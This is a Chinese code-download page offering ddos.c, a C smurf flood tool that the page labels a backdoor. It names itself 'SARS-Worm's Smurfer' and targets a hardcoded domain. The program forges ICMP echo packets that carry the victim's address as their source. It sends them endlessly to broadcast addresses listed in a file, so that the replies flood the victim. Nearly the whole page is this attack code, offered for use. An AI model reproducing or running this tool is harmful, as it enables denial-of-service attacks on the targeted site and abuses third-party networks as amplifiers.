⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ddos.c

📁 一个用C语言写的后门程序
💻 C
字号:
#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netdb.h>#include <ctype.h>#include <arpa/inet.h>#include <unistd.h>#include <string.h>#define BC_File  "hosts" #define Vim_URL  "www.niceplayer.com"#define LooP     0#define P_Del    1#define P_Size   1023void smurf(int, struct sockaddr_in, u_long, int);void ctrlc(int);unsigned short in_chksum(u_short *, int);char id[] = "SARS-Worm's Smurfer ~haha~~~~~Flooding you~~~~~Fuck!";int main (viod)  {   struct sockaddr_in sin;   struct hostent *he;   FILE   *bcastfile;   int    i, sock, bcast, delay, num, pktsize, cycle = 0, x;   char   buf[32], **bcastaddr = malloc(8192);    signal(SIGINT, ctrlc);      if ((he = gethostbyname(Vim_URL)) == NULL) {           exit(-1);   }   memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length);   sin.sin_family = AF_INET;   sin.sin_port = htons(0);    num = LooP;   delay = P_Del;   pktsize = P_Size;   if ((bcastfile = fopen(BC_File, "r")) == NULL) {      perror("opening bcast file");      exit(-1);   }   x = 0;   while (!feof(bcastfile)) {      fgets(buf, 32, bcastfile);      if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;      for (i = 0; i < strlen(buf); i++)           if (buf[i] == '\n') buf[i] = '\0';      bcastaddr[x] = malloc(32);       strcpy(bcastaddr[x], buf);         x++;   }   bcastaddr[x] = 0x0;   fclose(bcastfile);   if (x == 0) {           exit(-1);   }   if (pktsize > 1024) {      exit(-1);   }   if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {           exit(-1);   }   setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast));       for (i = 0; i < num || !num; i++) {            smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);      cycle++;      if (bcastaddr[cycle] == 0x0) cycle = 0;       usleep(delay);   }     return 0;}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize){   struct iphdr *ip;   struct icmphdr *icmp;   char *packet;   packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);   ip = (struct iphdr *)packet;   icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));   memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);   ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);   ip->ihl = 5;   ip->version = 4;   ip->ttl = 255;   ip->tos = 0;   ip->frag_off = 0;   ip->protocol = IPPROTO_ICMP;   ip->saddr = sin.sin_addr.s_addr;   ip->daddr = dest;   ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr));   icmp->type = 8;   icmp->code = 0;   icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);   sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,           0, (struct sockaddr *)&sin, sizeof(struct sockaddr));    free(packet);           }void ctrlc (int ignored){   exit(1);}unsigned short in_chksum (u_short *addr, int len){   register int nleft = len;   register int sum = 0;   u_short answer = 0;   while (nleft > 1) {      sum += *addr++;      nleft -= 2;   }   if (nleft == 1) {      *(u_char *)(&answer) = *(u_char *)addr;      sum += answer;   }   sum = (sum >> 16) + (sum + 0xffff);   sum += (sum >> 16);   answer = ~sum;   return(answer);}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -